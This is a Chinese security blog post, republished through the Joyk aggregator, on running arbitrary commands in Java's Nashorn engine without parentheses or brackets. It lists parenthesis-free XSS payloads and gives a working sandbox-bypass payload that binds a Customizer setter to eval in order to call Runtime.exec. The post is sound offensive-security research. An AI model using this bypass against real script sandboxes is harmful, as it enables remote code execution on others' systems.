3

当Nashorn失去括号:非典型Java命令执行绕过

 4 weeks ago
source link: https://www.leavesongs.com/PENETRATION/nashorn-rce-without-parentheses.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

昨天『代码审计』知识星球里有同学向我提了一个有趣的问题:

image.png

简单来说就是,在Java的Nashorn脚本中,如果不允许使用小括号()和中括号[],如何执行任意命令?

0x01 浏览器JavaScript无括号XSS

我们知道,Nashorn脚本本质上是JavaScript,而无括号的XSS Payload其实是一个老问题了。因为JavaScript在执行函数的时候需要使用括号,所以解决问题的核心其实就是“如何不使用括号来执行函数”。

在浏览器上下文中,我们通常有这样一些思路来绕过对括号的限制:

  • 使用ES6中的反引号代替括号,如alert`23`
  • 使用location和伪协议来执行代码,如location.href='javascript:alert%281%29',这个方法我10年前曾在《利用location来变形我们的XSS Payload》这篇文章里详细介绍过
  • 使用DOM相关方法写入HTML到页面,如document.body.innerHTML=location.hash;
  • 使用onerror和throw来变相执行函数,如onerror=alert;throw 23;

基本所有对于括号的绕过方法,无论怎么变形最后都归结于上述4种思路,网上也有不少人整理过Payloads,可以参考:https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md

但是,虽然都是JavaScript,但浏览器里的这些方法并不能套用到Nashorn中:

image.png

一是Nashorn并不支持ES6语法,二是其中没有DOM相关方法,三是上下文中也没有全局对象可以注册onerror。

0x02 Fastjson:我换个衣服你就不认识我了吗?

既然JavaScript里的方法不能直接利用,我们还是需要回到Nashorn和Java中找方法。

先来做个实验,首先编写一个简单的User类,其中包含一个getter和一个setter:

package com.govuln.js;

public class User {
    private String name;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}

然后我们编写这样一段Nashorn脚本:

var user = new com.govuln.js.User;
user.name = "Bob";
print(user.name);

调试运行可以发现,User类的setter和getter被调用了:

image.png

所以在Nashorn脚本中,当执行赋值语句时,对象的setter会被调用;当获取属性时,对象的getter会被调用。在不借助括号的情况下,通过这两种方法可以执行函数。

好像很熟悉?提出这个问题的圈友好像已经意识到了这个问题的本质是什么,其实就是Fastjson反序列化漏洞换了个皮又粉墨登场了

所以,第一种解决问题的方法就是直接利用Fastjson相关的利用链,由于网上已经有很多介绍文章了,这里不再赘述。

0x03 Nashorn与Java接口、抽象类的利用

当然,Fastjson各个利用链都有自己的不足,有的需要连接外网,有的有Java版本限制,有的只能写文件,有的依赖第三方库。如果想要找一种更通用的利用方法,还得继续深入研究。

在阅读Nashorn的文档时,我发现一个有趣的语法:https://docs.oracle.com/en/java/javase/11/scripting/using-java-scripts.html

image.png

Nashorn支持在JavaScript中实现Java的接口和抽象类,并提供了一个特殊的语法:

var r = new java.lang.Runnable() {
    run: function() {
        print("running...\n");
    }
};

由于调用无参构造函数可以省略括号,上述代码可以省略成这样的代码:

var r = new java.lang.Runnable {
    run: print
};

如果有方法可以调用到r对象的run方法,不就等于调用了print函数吗?

再结合我们在0x02中学习到的setter方法,我们可以尝试在Java中找到一个接口或抽象类,其包含setter,我将这个setter重写成eval函数,就可以在执行赋值语句的时候执行任意代码了。

快速找到符合条件的setter,我们可以借助CodeQL或者Tabby,因为我们这次的目标非常简单,人工找甚至也可以。比如这个java.beans.Customizer接口:

public interface Customizer {

    /**
     * Set the object to be customized.  This method should be called only
     * once, before the Customizer has been added to any parent AWT container.
     * @param bean  The object to be customized.
     */
    void setObject(Object bean);

    /**
     * Register a listener for the PropertyChange event.  The customizer
     * should fire a PropertyChange event whenever it changes the target
     * bean in a way that might require the displayed properties to be
     * refreshed.
     *
     * @param listener  An object to be invoked when a PropertyChange
     *          event is fired.
     */
     void addPropertyChangeListener(PropertyChangeListener listener);

    /**
     * Remove a listener for the PropertyChange event.
     *
     * @param listener  The PropertyChange listener to be removed.
     */
    void removePropertyChangeListener(PropertyChangeListener listener);

}

其就包含一个setObject()方法,且参数是一个Object,我可以传入任意类型的数据。

使用它来构造最终的Nashorn脚本如下:

var a = new java.beans.Customizer {
    setObject: eval
}
a.object = "java.lang.Runtime.getRuntime\50\51.exec\50'calc.exe'\51";

执行成功弹出计算器:

image.png

0x04 总结

本文介绍了如何在不使用小括号、中括号的情况下,利用Nashorn脚本特性构造了一个结合JavaScript和Java两门语言特点的Payload,最终执行任意代码和命令的方法。

由于最初『代码审计』里这位圈友给的问题很简单,不知是否还有其他限制条件,是否能最终解决他的问题,让我赚到8块钱🤣。但光就这个场景的绕过方法,其实也挺有意思的。

参考资料:


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK